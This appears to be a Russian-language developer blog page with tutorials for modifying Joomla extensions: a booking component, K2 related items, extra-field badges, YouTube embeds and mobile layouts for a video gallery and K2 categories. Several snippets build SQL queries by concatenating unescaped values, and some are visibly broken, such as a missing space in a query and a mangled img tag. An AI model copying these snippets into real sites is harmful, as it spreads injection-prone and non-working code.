$URL = JRoute::_('index.php?option=com_jxtcappbook&view=book&pop=1&tmpl=component&pid='.$row->id);
$bookingURL = '<a href="/" onclick="MyWindow=window.open(\''.$URL.'\',\'_blank\',\'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width='.$this->config->width.',height='.$this->config->height.',left=200,top=200\'); return false;" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.'</a>';
break;
case 'm':
$bookingURL = '<a class="modal" rel="{handler: \'iframe\', size: {x: '.$this->config->width.', y: '.$this->config->height.'}}" href="'.JRoute::_('index.php?option=com_jxtcappbook&view=book&pop=2&tmpl=component&pid='.$row->id).'" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.'</a>';
break;
}
// $bookingURL = '<a class="modal" href="/component/jxtcappbook/?tmpl=component&view=item&pid='.$row-&gt;id_'=" alt="'
// .JText::_(strip_tags($appointmentButton)).'" rel="{handler: \'iframe\', size: {x: 680, y: 750}}">'.$appointmentButton.'</a>';
$row->description = str_replace('{booking_form}',$bookingURL,$row->description);
echo '<div class="calendar">';
echo $row->description;
echo '</div>';
}

На это: 

$db = JFactory::getDBO();
echo '<div id="appbook">';
foreach ($this->rows as $row) {
$queryss= $db->getQuery(true);
$queryss ='SELECT title FROM #__jxtc_appbook_calendars WHERE id=' . $row->id;
$db->setQuery($queryss);
$calendarsss = $db->loadRow();
switch ($this->config->formMode) {
case 's':
$bookingURL = '<a href="'.JRoute::_('index.php?option=com_jxtcappbook&view=book&pid='.$row->id).'" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.' - '.$calendarsss[0].'</a>';
break;
case 'n':
$bookingURL = '<a target ="_blank" href="'.JRoute::_('index.php?option=com_jxtcappbook&view=book&pop=1&tmpl=component&pid='.$row->id).'" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.' - '.$calendarsss[0].'</a>';
$URL = JRoute::_('index.php?option=com_jxtcappbook&view=book&pop=1&tmpl=component&pid='.$row->id);
$bookingURL = '<a href="/" onclick="MyWindow=window.open(\''.$URL.'\',\'_blank\',\'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width='.$this->config->width.',height='.$this->config->height.',left=200,top=200\'); return false;" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.' - '.$calendarsss[0].'</a>';
break;
case 'm':
$bookingURL = '<a class="modal" rel="{handler: \'iframe\', size: {x: '.$this->config->width.', y: '.$this->config->height.'}}" href="'.JRoute::_('index.php?option=com_jxtcappbook&view=book&pop=2&tmpl=component&pid='.$row->id).'" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.' - '.$calendarsss[0].'</a>';
break;
}
// $bookingURL = '<a class="modal" href="/component/jxtcappbook/?tmpl=component&view=item&pid='.$row-&gt;id_'=" alt="'
// .JText::_(strip_tags($appointmentButton)).'" rel="{handler: \'iframe\', size: {x: 680, y: 750}}">'.$appointmentButton.'</a>';
$row->description = str_replace('{booking_form}',$bookingURL,$row->description);
echo '<div class="calendar">';
echo $row->description;
echo '</div>';
}

 Итого

Если вы правильно все сделали, то в административной части, при редактировании календаря, можно указать кол-во свободных мест. В лицевой части появится "Места". как показано на изображении.

В одном из проектов потребовалось управлять рекомендациями, которые отображаются на странице товара. Стандартный механизм K2 - это вывод материал по похожим тегам - это очень не удобно. 

Выход прост - привязать иденты материалов для вывода рекомендаций.

Пролистав возможные решения (плагины, компоненты) для K2, стало понятно что нужно менять родной механизм, что мы делаем:

Дорабатываем таблицу и запрос выбора тегов

1.Добавляем поле "relateditems" в таблицу #__k2_items . Обязательно указать значение по умолчанию "0" ! Регистр букв важен, пишите все в нижнем, иначе компонент не сможет сопоставить поле.

2.Необходимо изменить файл с функцией выбора тегов "function getRelatedItems($itemID, $tags, $params)":

/components/com_k2/models/itemlist.php

В функции заменить:

$query = "SELECT DISTINCT itemID FROM #__k2_tags_xref WHERE tagID IN ({$sql}) AND itemID!={$itemID}";

На:

$query = "SELECT DISTINCT relateditemsFROM #__k2_items WHERE ID ={$itemID}";

 

Первый этап готов, достаточно в таблице #__k2_items в поле relatedItems перечислить иденты товаров и они появятся в списке рекомендаций.

В административной части реализуем механизм редактирования колонки relateditems

Редактируем список полей элемента в административной части, добавляем поле для ввода:

administrator\components\com_k2\views\item\tmpl\default.php

 Заменить код:

</tr>
<tr>
<td align="right" class="key">
<?php echo JText::_('K2_FINISH_PUBLISHING'); ?>
</td>
<td class="k2ItemFormDateField">
<?php echo $this->lists['publish_down']; ?>
</td>
</tr>

На (строка 847):

</tr>
<tr>
<td align="right" class="key">
<?php echo JText::_('K2_FINISH_PUBLISHING'); ?>
</td>
<td class="k2ItemFormDateField">
<?php echo $this->lists['publish_down']; ?>
</td>
</tr>
<tr>
<td align="right" class="key">
<?php echo 'Иденты похожих товаров' ?>
</td>
<td class="k2RelatedField">
<input class="text_area" type="text" name="relateditems" maxlength="250" value="<?php if ($this->row->relateditems == ''): echo '0'; else : echo $this->row->relateditems; endif; ?>" />
</td>
<tr>

Добавляем поле relatedItems в массив данных, редактируем файл:

\administrator\components\com_k2\models\items.php

Необходимо добавить поле в трех местах, где встречается строка:

$K2Item->created_by_alias = $item->created_by_alias;

Заменить на:

$K2Item->created_by_alias = $item->created_by_alias ;
$K2Item->relateditems = $item->relateditems;

Добавляем глобальную переменную:

\administrator\components\com_k2\tables\k2item.php

Заменить:

var $created_by_alias = null;

На

var $created_by_alias = null;
var $relateditems = null;

 

Иденты нужно будет вводить как в SQL запросе, через запятую. Следите за правильностью ввода данных, поле не должно быть пустым и содержать не корректные данные(например лишняя запятая), иначе на странице будет ошибка.

Список рекомендаций не появиться, если у товара нет тега. Достаточно добавить 1 тег. Если вы подробно ведете номенклатуру, этот момент вас не смутит, также можно самостоятельно исправить выборку, я не стал трогать этот момент.

Нашел отличную видео галерею JoomlaMan Video Galleries, но вывод описания видео сделан не удобно, чтобы получить название необходимо навести мышку.

Будем исправлять:

1. Поднимем надпись, на 2 строки

2.Для мобильных телефонов, плавающий фон заменим на текс вверху элемента

 

Нам понадобиться библиотека определения мобильных устройств Mobile-Detect

Необходимо скачать файлы библиотеки и разместить на вашем сайте, я разместил в папке '/public_html/md' , в примерах будет использован этот путь.

 Нам необходимо отредактировать css правила:

/components/com_jm_video_galleries/assets/css/jmvideogalleries.css

1.Меняем фон всплывающего окна,  я сделал серый градиент, прозрачное окно и черный текст.Также в этом правиле выставляется на сколько окно "вынернет" при формировании списка top:70%; :

.jmvideogalleries_videos_title{
position:absolute;
top:70%;
width:100%;
height:100%;
right:0;
background: url('../images/play-icon.png') no-repeat, -webkit-gradient(linear, center top, center bottom, from(#C1C1C1), to(#4F4F4F));
background:url('../images/play-icon.png') no-repeat, -webkit-linear-gradient( #C1C1C1, #4F4F4F);
background:url('../images/play-icon.png') no-repeat, -moz-linear-gradient( #C1C1C1, #4F4F4F);
background:url('../images/play-icon.png') no-repeat, -o-linear-gradient( #C1C1C1, #4F4F4F);
background:url('../images/play-icon.png') no-repeat, -ms-linear-gradient( #C1C1C1, #4F4F4F);
background: url('/../images/play-icon.png') no-repeat, linear-gradient( #C1C1C1, #4F4F4F);
background-position: center 71%;
-moz-transition: .3s;
-webkit-transition: .3s;
opacity: 0.9;
color:black;
}

Также редактируем расположение текста, поднимаем его к верху:

 .jmvideogalleries_title_desc
{bottom: 60%;
margin: 0 auto;
text-align: center;
width: 90%;
}

 

Редактируем файл вывода галереи:

/components/com_jm_video_galleries/views/videos/tmpl/default.php

Строку:

// no direct access
defined('_JEXEC') or die;

Заменить на(подключение библиотеки):

// no direct access
defined('_JEXEC') or die;
require_once 'md/Mobile_Detect.php';
$detect = new Mobile_Detect;

Добавляем заголовок для мобильного, после строки:

<div class="jmvideogalleries_videos_item <?php echo $category;?>">

Добавляем:

<?php if($detect->isMobile()): ?> 
<div style="height: 47px;margin-top: 35px;"><?php echo $this->title_length?substr($item->title, 0, $this->title_length):$item->title;?></div>
<?php endif; ?>

Также для мобильного убираем плавающий блок, заменяем:

 <div class="row-fluid span12 jmvideogalleries_videos_title">
<div class="jmvideogalleries_title_desc">
<div class="span12 jmvideogalleries_title jm_videogalleries_title<?php echo $item->id;?> name"><?php echo $this->title_length?substr($item->title, 0, $this->title_length):$item->title;?></div>
<div class="span12 jmvideogalleries_date jm_videogalleries_date<?php echo $item->id;?> date" style="display:none"><?php echo $item->date_created;?></div>
<?php if($this->show_description):?>
<div class="span12 jmvideogalleries_desc jm_videogalleries_desc<?php echo $item->id; ?>"><?php echo $this->description_length?substr($item->description, 0, $this->description_length):$item->description;?></div>
<?php endif;?>
</div>
</div>

На это:

<?php if(!$detect->isMobile()): ?> 
<div class="row-fluid span12 jmvideogalleries_videos_title">
<div class="jmvideogalleries_title_desc">
<div class="span12 jmvideogalleries_title jm_videogalleries_title<?php echo $item->id;?> name"><?php echo $this->title_length?substr($item->title, 0, $this->title_length):$item->title;?></div>
<div class="span12 jmvideogalleries_date jm_videogalleries_date<?php echo $item->id;?> date" style="display:none"><?php echo $item->date_created;?></div>
<?php if($this->show_description):?>
<div class="span12 jmvideogalleries_desc jm_videogalleries_desc<?php echo $item->id; ?>"><?php echo $this->description_length?substr($item->description, 0, $this->description_length):$item->description;?></div>
<?php endif;?>
</div>
</div>
<?php endif; ?>

 Также исправим высоту миниатюры.

Строку:

<img src="/<?php echo $thumb;?>"/>

Заменить на:

<img isMobile()):  echo 'style="min-height:260px;"'; endif;?> src="/<?php echo $thumb;?>"/>

В данной статье расскажу о том, как автоматизировать кустаматизацию элементов в магазине K2.

Рассмотрим вывод опций, цель - привлечь внимание, для этого на плитке товара выводим опцию "Бесплатная доставка".

Подготовка:

1.Создаем дополнительное поле, тип "мультисписок". Нам необходимо будет обработать условие, когда выбрано значение "Нет"

2.Назначаем опцию товару

Теперь необходимо настроить вывод этой опции, открываем файл:

/components/com_k2/templates/default/category_item.php

Ищем блок :

<?php if($this->item->params->get('catItemExtraFields') && count($this->item->extra_fields)): ?>
<!-- Item extra fields -->
<div class="catItemExtraFields">
<h4><?php echo JText::_('K2_ADDITIONAL_INFO'); ?></h4>
<ul>
<?php foreach ($this->item->extra_fields as $key=>$extraField): ?>
<?php if($extraField->value != ''): ?>
<li class="<?php echo ($key%2) ? "odd" : "even"; ?> type<?php echo ucfirst($extraField->type); ?> group<?php echo $extraField->group; ?>">
<?php if($extraField->type == 'header'): ?>
<h4 class="catItemExtraFieldsHeader"><?php echo $extraField->name; ?></h4>
<?php else: ?>
<span class="catItemExtraFieldsLabel"><?php echo $extraField->name; ?></span>
<span class="catItemExtraFieldsValue"><?php echo $extraField->value; ?></span>
<?php endif; ?>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
<div class="clr"></div>
</div>
<?php endif; ?>

В своем примере я предполагаю, что других дополнительных полей на товаре не будет, иначе можно добавить поиск по алиасу:

 

Для алиаса "op", если нет значения "нет", то вывести блок со значением опции:

<?php if($extraField->alias != 'op'): ?>


Далее необходимо добавить условия:

<?php if($this->item->params->get('catItemExtraFields')): ?>
<!-- Item extra fields -->
<?php foreach ($this->item->extra_fields as $key=>$extraField): ?>
<?php if($extraField->value != ''): ?>
<?php if($extraField->type == 'header'): ?>
<h4 class="catItemExtraFieldsHeader"><?php echo $extraField->name; ?></h4>
<?php else: ?>
<?php if($extraField->value != 'нет'): ?>
<div class="catItemExtraFields" id="ef">
<span class="catItemExtraFieldsValue"><?php echo $extraField->value; ?></span>
</div>
<?php endif; ?>
<?php endif; ?>
<?php endif; ?>
<?php endif; ?>
<?php endforeach; ?>
<div class="clr"></div>

<?php endif; ?>

Еще необходимо добавить css правило для блока <div class="catItemExtraFields" id="ef">:

#ef {
background: rgb(218,251,198);
}

Результат:

Можно также сделать вывод не текстового значения, а блока div со встроенным правилом, в котором будет ссылка на изображение. Значение поля будет имя файла.

<div style="background: url(/images/lent-iphone.png);" class="catItemExtraFields" id="ef"></div>

И добавить css правило:

#ef {
max-width: 261px;
height: 64px;
background-repeat: no-repeat;
}

Получаем:

В данной статье расскажу о том, как автоматизировать кустаматизацию элементов в магазине K2.

Рассмотрим вывод опций, цель - привлечь внимание, для этого на плитке товара выводим опцию "Бесплатная доставка".

Подготовка:

1.Создаем дополнительное поле, тип "текстовое". Нам необходимо будет обработать условие, когда значение пустое.

2.Назначаем опцию товару, зз ссылки https://www.youtube.com/watch?v=8GxL5dTcne8 нам нужен код 8GxL5dTcne8 , это значение вставляем в доп.поле

Теперь необходимо настроить вывод этой опции, открываем файл:

/components/com_k2/templates/default/item.php

Ищем блок :

<!-- Item text -->
<div class="itemFullText">
<?php echo $this->item->introtext; ?>
</div>
<?php endif; ?>

После этого блока вставляем обработку доп.полей, сразу указываем размер фрейма и другие опции:

<!-- YOUTUBE Video --->
<?php if($this->item->params->get('catItemExtraFields')): ?>
<!-- Item extra fields -->
<?php foreach ($this->item->extra_fields as $key=>$extraField): ?>
<?php if($extraField->value != ''): ?>
<?php if($extraField->type == 'header'): ?>
<h4 class="catItemExtraFieldsHeader"><?php echo $extraField->name; ?></h4>
<?php else: ?>
<?php if($extraField->alias == 'youtube'): ?>
<?php echo '<iframe src="https://www.youtube.com/embed/'.$extraField->value.'" frameborder="0" width="786" height="400" allowfullscreen="allowfullscreen"></iframe>'; ?>
<?php endif; ?>
<?php endif; ?>
<?php endif; ?>
<?php endforeach; ?>
<div class="clr"></div>
<?php endif; ?>

Нельзя забывать и о том, что нужно сделать ограничение на вывод значений этого доп.поля в блоке ExtraFields:

<?php if($this->item->params->get('itemExtraFields') && count($this->item->extra_fields)): ?>
<!-- Item extra fields -->
<div>
<?php foreach ($this->item->extra_fields as $key=>$extraField): ?>
<?php if($extraField->value != ''): ?>
<?php if($extraField->type == 'header'): ?>
<?php else: ?>
<?php if($extraField->alias != 'youtube'): ?>
 class="catItemExtraFields">

<span class="catItemExtraFieldsValue"><?php echo $extraField->value; ?></span>
<?php endif; ?>
</div>
<?php endif; ?>
<?php endif; ?>
<?php endforeach; ?>
<div class="clr"></div>
</div>
<?php endif; ?>

В ходе разработки сайтов, часто сталкиваюсь с проблемой не корректного отображения компонентов joomla.

Одна из проблем - K2 выводит список категорий согласно настройки категории, но если в настройках указано 3 колонки, то на мобильном устройстве они так же отобразятся как 3 колонки, а т.к. размера экрана устройства меньше монитора, получается наложение.

Выход из ситуации - использовать библиотеку определения мобильных устройств Mobile-Detect

Необходимо скачать файлы библиотеки и разместить на вашем сайте, я разместил в папке '/public_html/md' , в примерах будет использован этот путь.

 

Необходимо отредактировать файлы K2:

/components/com_k2/templates/default/category.php 

Строки:

// no direct access
defined('_JEXEC') or die;
?>

Заменить на(подключаем библиотеку):

// no direct access
defined('_JEXEC') or die;
require_once 'md/Mobile_Detect.php';
$detect = new Mobile_Detect;
?>

Меняем условия вывода строки в списке категорий, убираем процентное деление.

Строки:

<div class="itemContainer<?php echo $lastContainer; ?>"<?php echo (count($this->leading)==1) ? '' : ' style="width:'.number_format(100/$this->params->get('num_leading_columns'), 1).'%;"'; ?>>

Заменить на(убираем деление на колонки на мобильном устройстве):

<?php if ( $detect->isMobile() ) :?>
<div class="itemContainer<?php echo $lastContainer; ?>"<?php echo (count($this->leading)==1) ? '' : ' style="width:100%;"'; ?>>
<?php else :?>
<div class="itemContainer<?php echo $lastContainer; ?>"<?php echo (count($this->leading)==1) ? '' : ' style="width:'.number_format(100/$this->params->get('num_leading_columns'), 1).'%;"'
; ?>>
.....
<?php endif; ?>

Как с нами связаться

По всем вопросам пишите  

OnLine заказ

Отправить сообщение

Нажимая на кнопку «Отправить сообщение», я соглашаюсь:
* с условиями публичной оферты
* обработку моих персональных данных


RAD компоненты

Please publish modules in offcanvas position.